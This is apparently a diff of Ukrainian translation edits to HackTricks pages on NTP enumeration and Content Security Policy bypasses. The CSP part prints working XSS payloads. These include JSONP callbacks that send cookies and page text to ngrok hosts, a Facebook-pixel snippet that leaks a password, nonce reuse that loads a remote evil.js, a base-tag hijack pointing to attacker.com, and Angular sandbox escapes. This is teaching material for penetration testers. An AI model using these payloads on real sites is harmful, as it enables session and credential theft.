|
||||
Протокол **NTP**, що використовує UDP, дозволяє працювати без необхідності в процедурах рукопожаття, на відміну від TCP. Ця характеристика експлуатується в **NTP DDoS amplification attacks**. Тут зловмисники створюють пакети з підробленою IP-адресою джерела, що створює враження, ніби запити атаки надходять від жертви. Ці пакети, спочатку невеликі, змушують NTP-сервер відповідати набагато більшими обсягами даних, посилюючи атаку.
|
||||
Протокол **NTP**, що використовує UDP, дозволяє працювати без необхідності в процедурах рукопожаття, на відміну від TCP. Ця характеристика експлуатується в **NTP DDoS amplification attacks**. Тут зловмисники створюють пакети з підробленою IP-адресою джерела, що створює враження, що запити атаки надходять від жертви. Ці пакети, спочатку невеликі, змушують NTP-сервер відповідати набагато більшими обсягами даних, посилюючи атаку.
|
||||
|
||||
Команда _**MONLIST**_, незважаючи на рідкісне використання, може повідомити про останні 600 клієнтів, підключених до служби NTP. Хоча сама команда є простою, її зловживання в таких атаках підкреслює критичні вразливості безпеки.
|
||||
```bash
|
||||
|
@ -100,7 +100,7 @@ Name: Nmap
|
|||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -108,10 +108,10 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
|||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||||
|
||||
**Новини про хакінг у реальному часі**\
|
||||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
|
||||
**Останні оголошення**\
|
||||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||||
{% hint style="success" %}
|
||||
|
@ -120,11 +120,11 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи в телеграмі**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## What is CSP
|
||||
|
||||
Content Security Policy (CSP) вважається технологією браузера, яка в основному спрямована на **захист від атак, таких як міжсайтовий скриптинг (XSS)**. Вона функціонує, визначаючи та деталізуючи шляхи та джерела, з яких ресурси можуть бути безпечно завантажені браузером. Ці ресурси охоплюють ряд елементів, таких як зображення, фрейми та JavaScript. Наприклад, політика може дозволити завантаження та виконання ресурсів з того ж домену (self), включаючи вбудовані ресурси та виконання рядкового коду через функції, такі як `eval`, `setTimeout` або `setInterval`.
|
||||
Content Security Policy (CSP) вважається технологією браузера, яка в першу чергу спрямована на **захист від атак, таких як міжсайтовий скриптинг (XSS)**. Вона функціонує, визначаючи та деталізуючи шляхи та джерела, з яких ресурси можуть бути безпечно завантажені браузером. Ці ресурси охоплюють ряд елементів, таких як зображення, фрейми та JavaScript. Наприклад, політика може дозволити завантаження та виконання ресурсів з того ж домену (self), включаючи вбудовані ресурси та виконання рядкового коду через функції, такі як `eval`, `setTimeout` або `setInterval`.
|
||||
|
||||
Впровадження CSP здійснюється через **заголовки відповіді** або шляхом включення **мета-елементів у HTML-сторінку**. Дотримуючись цієї політики, браузери активно забезпечують виконання цих вимог і негайно блокують будь-які виявлені порушення.
|
||||
|
||||
|
@ -67,30 +67,30 @@ object-src 'none';
|
|||
```
|
||||
### Директиви
|
||||
|
||||
* **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL-адреси, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT-стилями.
|
||||
* **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT-стилями.
|
||||
* **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||
* **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
|
||||
* **connect-src**: Обмежує URL-адреси, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Обмежує URL-адреси для фреймів.
|
||||
* **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Обмежує URL для фреймів.
|
||||
* **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
|
||||
* **img-src**: Визначає дозволені джерела для зображень.
|
||||
* **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
|
||||
* **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
|
||||
* **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
|
||||
* **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
|
||||
* **base-uri**: Вказує дозволені URL-адреси для завантаження за допомогою елементів `<base>`.
|
||||
* **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
|
||||
* **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
|
||||
* **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
|
||||
* **upgrade-insecure-requests**: Інструктує браузери переписувати HTTP URL-адреси на HTTPS.
|
||||
* **upgrade-insecure-requests**: Інструктує браузери переписувати HTTP URL на HTTPS.
|
||||
* **sandbox**: Застосовує обмеження, подібні до атрибута sandbox елемента `<iframe>`.
|
||||
* **report-to**: Вказує групу, до якої буде надіслано звіт, якщо політика буде порушена.
|
||||
* **worker-src**: Вказує дійсні джерела для скриптів Worker, SharedWorker або ServiceWorker.
|
||||
* **prefetch-src**: Вказує дійсні джерела для ресурсів, які будуть отримані або попередньо отримані.
|
||||
* **navigate-to**: Обмежує URL-адреси, до яких документ може переходити будь-яким способом (a, форма, window.location, window.open тощо).
|
||||
* **navigate-to**: Обмежує URL, до яких документ може переходити будь-якими засобами (a, форма, window.location, window.open тощо).
|
||||
|
||||
### Джерела
|
||||
|
||||
* `*`: Дозволяє всі URL-адреси, крім тих, що мають схеми `data:`, `blob:`, `filesystem:`.
|
||||
* `*`: Дозволяє всі URL, крім тих, що мають схеми `data:`, `blob:`, `filesystem:`.
|
||||
* `'self'`: Дозволяє завантаження з того ж домену.
|
||||
* `'data'`: Дозволяє завантаження ресурсів через схему даних (наприклад, зображення, закодовані в Base64).
|
||||
* `'none'`: Блокує завантаження з будь-якого джерела.
|
||||
|
@ -98,7 +98,7 @@ object-src 'none';
|
|||
* `'unsafe-hashes'`: Дозволяє конкретні вбудовані обробники подій.
|
||||
* `'unsafe-inline'`: Дозволяє використання вбудованих ресурсів, таких як вбудовані `<script>` або `<style>`, не рекомендується з міркувань безпеки.
|
||||
* `'nonce'`: Список дозволених для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).
|
||||
* Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою `doc.defaultView.top.document.querySelector("[nonce]")` і потім повторно використовувати його для завантаження шкідливого скрипта (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у:
|
||||
* Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою `doc.defaultView.top.document.querySelector("[nonce]")` і потім повторно використовувати його для завантаження шкідливого скрипту (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -115,7 +115,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Дозволяє скрипти з конкретним sha256 хешем.
|
||||
* `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було внесено до білого списку за допомогою nonce або хешу.
|
||||
* `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було дозволено за допомогою nonce або хешу.
|
||||
* `'host'`: Вказує конкретний хост, наприклад, `example.com`.
|
||||
* `https:`: Обмежує URL-адреси тими, що використовують HTTPS.
|
||||
* `blob:`: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених за допомогою JavaScript).
|
||||
|
@ -190,7 +190,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
```
|
||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
|
||||
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache server, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині чогось, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про розширення _**.wave**_, тому не подає його з **MIME типом, як audio/\***.
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache server, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині чогось, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про розширення _**.wave**_, тому не обслуговує його з **MIME типом, як audio/\***.
|
||||
|
||||
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
|
@ -201,7 +201,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
Для деяких з наступних payload **`unsafe-eval` навіть не потрібен**.
|
||||
Для деяких з наступних payload **`unsafe-eval` навіть не потрібно**.
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
|
@ -261,9 +261,9 @@ Angular XSS з імені класу:
|
|||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
#### Зловживання JS-кодом google recaptcha
|
||||
#### Зловживання JS кодом google recaptcha
|
||||
|
||||
Згідно з [**цією CTF-статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS-коду, обходячи CSP:
|
||||
Згідно з [**цією CTF статтею**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP для виконання довільного JS коду, обходячи CSP:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
|
@ -289,9 +289,9 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
#### Зловживання www.google.com для відкритого перенаправлення
|
||||
#### Зловживання www.google.com для відкритого редиректу
|
||||
|
||||
Наступне URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
Наступний URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
|
@ -303,7 +303,7 @@ https://www.google.com/amp/s/example.com/
|
|||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Сценарії, подібні до цього, де `script-src` встановлено на `self` та певний домен, який є у білому списку, можуть бути обійдені за допомогою JSONP. JSONP кінцеві точки дозволяють небезпечні методи зворотного виклику, які дозволяють зловмиснику виконати XSS, робочий вантаж:
|
||||
Сценарії, подібні до цього, де `script-src` встановлено на `self` та певний домен, який є у білому списку, можуть бути обійдені за допомогою JSONP. JSONP кінцеві точки дозволяють небезпечні методи зворотного виклику, які дозволяють зловмиснику виконати XSS, робочий корисний вантаж:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -313,26 +313,26 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
|
|||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних веб-сайтів.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
|
||||
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить відкритий редирект**, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить відкритий редирект**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
|
||||
|
||||
### Зловживання з боку третіх осіб
|
||||
|
||||
Як описано в [наступному пості](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), існує багато доменів третіх осіб, які можуть бути дозволені десь у CSP, і їх можна зловживати для ексфільтрації даних або виконання JavaScript коду. Деякі з цих третіх осіб:
|
||||
|
||||
| Суб'єкт | Дозволений домен | Можливості |
|
||||
| ----------------- | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Суб'єкт | Дозволений домен | Можливості |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Якщо ви знайдете будь-який з дозволених доменів у CSP вашої цілі, є ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі та або ексфільтрувати дані на цей сервіс, або виконати код.
|
||||
Якщо ви знайдете будь-який з дозволених доменів у CSP вашої цілі, є ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі і, або ексфільтрувати дані на цей сервіс, або виконати код.
|
||||
|
||||
Наприклад, якщо ви знайдете наступний CSP:
|
||||
```
|
||||
|
@ -346,19 +346,19 @@ Content-Security-Policy: connect-src www.facebook.com;
|
|||
|
||||
1. Створіть обліковий запис розробника Facebook тут.
|
||||
2. Створіть новий додаток "Facebook Login" і виберіть "Веб-сайт".
|
||||
3. Перейдіть до "Налаштування -> Основні" і отримайте свій "ID додатка".
|
||||
3. Перейдіть до "Налаштування -> Основні" і отримайте свій "App ID".
|
||||
4. На цільовому сайті, з якого ви хочете ексфільтрувати дані, ви можете ексфільтрувати дані, безпосередньо використовуючи гаджет Facebook SDK "fbq" через "customEvent" і навантаження даних.
|
||||
5. Перейдіть до "Менеджера подій" вашого додатка і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Виберіть вкладку "Тестові події", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
||||
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
||||
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на ID додатка розробника Facebook атакуючого та видаючи подію користувача, як ця:
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника Facebook атакуючого та видаючи користувацьку подію, як ця:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Щодо інших семи доменів третьої сторони, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього [блог посту](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) для додаткових пояснень про інші зловживання третьою стороною.
|
||||
Що стосується інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього [блог посту](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) для додаткових пояснень про інші зловживання сторонніми ресурсами.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
|
@ -374,7 +374,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||
|
||||
∑, вони декодують його, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можна обійти**.
|
||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
|
||||
|
||||
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||
|
||||
|
@ -390,7 +390,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||
|
||||
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`) з використанням **Nonce**, ви можете зловживати **base** **tag**, щоб змусити його **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
||||
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити її **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
||||
Якщо вразлива сторінка завантажується з **httpS**, використовуйте httpS URL в base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
|
@ -404,7 +404,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Цей фрагмент підкреслює використання директиви `ng-focus` для виклику події, використовуючи `$event.path|orderBy` для маніпуляції масивом `path`, і використовуючи об'єкт `window` для виконання функції `alert()`, тим самим розкриваючи `document.cookie`.
|
||||
Цей фрагмент підкреслює використання директиви `ng-focus` для виклику події, використовуючи `$event.path|orderBy` для маніпуляції масивом `path`, і використовуючи об'єкт `window` для виконання функції `alert()`, таким чином розкриваючи `document.cookie`.
|
||||
|
||||
**Знайдіть інші обходи Angular на** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
|
@ -428,7 +428,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
|
||||
Що відбувається, коли CSP стикається з редиректом на стороні сервера? Якщо редирект веде до іншого походження, яке не дозволено, він все ще зазнає невдачі.
|
||||
|
||||
Однак, відповідно до опису в [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), якщо редирект веде до іншого шляху, він може обійти початкові обмеження.
|
||||
Однак, відповідно до опису в [CSP spec 4.2.2.3. Шляхи та редиректи](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), якщо редирект веде до іншого шляху, він може обійти початкові обмеження.
|
||||
|
||||
Ось приклад:
|
||||
```html
|
||||
|
@ -452,7 +452,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
|
||||
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдено.
|
||||
|
||||
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можна експлуатувати в правилах CSP.
|
||||
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можуть бути використані в правилах CSP.
|
||||
|
||||
### Обхід CSP з висячою розміткою
|
||||
|
||||
|
@ -468,9 +468,9 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
|||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
Від: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Ви також можете зловживати цією конфігурацією, щоб **завантажити javascript код, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви можете **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** JS код (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Ви також можете зловживати цією конфігурацією, щоб **завантажити javascript код, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його на Twitter і зловживати "**unsafe-inline**", щоб **виконати** JS код (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### З сервісними працівниками
|
||||
|
||||
|
@ -480,23 +480,23 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
|||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Впровадження політики
|
||||
### Ін'єкція політики
|
||||
|
||||
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
#### Chrome
|
||||
|
||||
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, то ви можете **змінити** **політику** таким чином, що вона стане **недійсною**. Ви можете **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
|
||||
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, тоді ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Тому що ця директива **перезапише існуючі директиви script-src**.\
|
||||
Оскільки ця директива **перезаписує існуючі директиви script-src**.\
|
||||
Ви можете знайти приклад тут: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
В Edge це набагато простіше. Якщо ви можете додати в CSP лише це: **`;_`** **Edge** **відкине** всю **політику**.\
|
||||
У Edge це набагато простіше. Якщо ви можете додати в CSP лише це: **`;_`** **Edge** **відкине** всю **політику**.\
|
||||
Приклад: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
### img-src \*; через XSS (iframe) - Атака за часом
|
||||
|
@ -566,13 +566,13 @@ run();
|
|||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обходячи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||
Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який при перетягуванні або натисканні буде виконуватись у контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||
|
||||
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
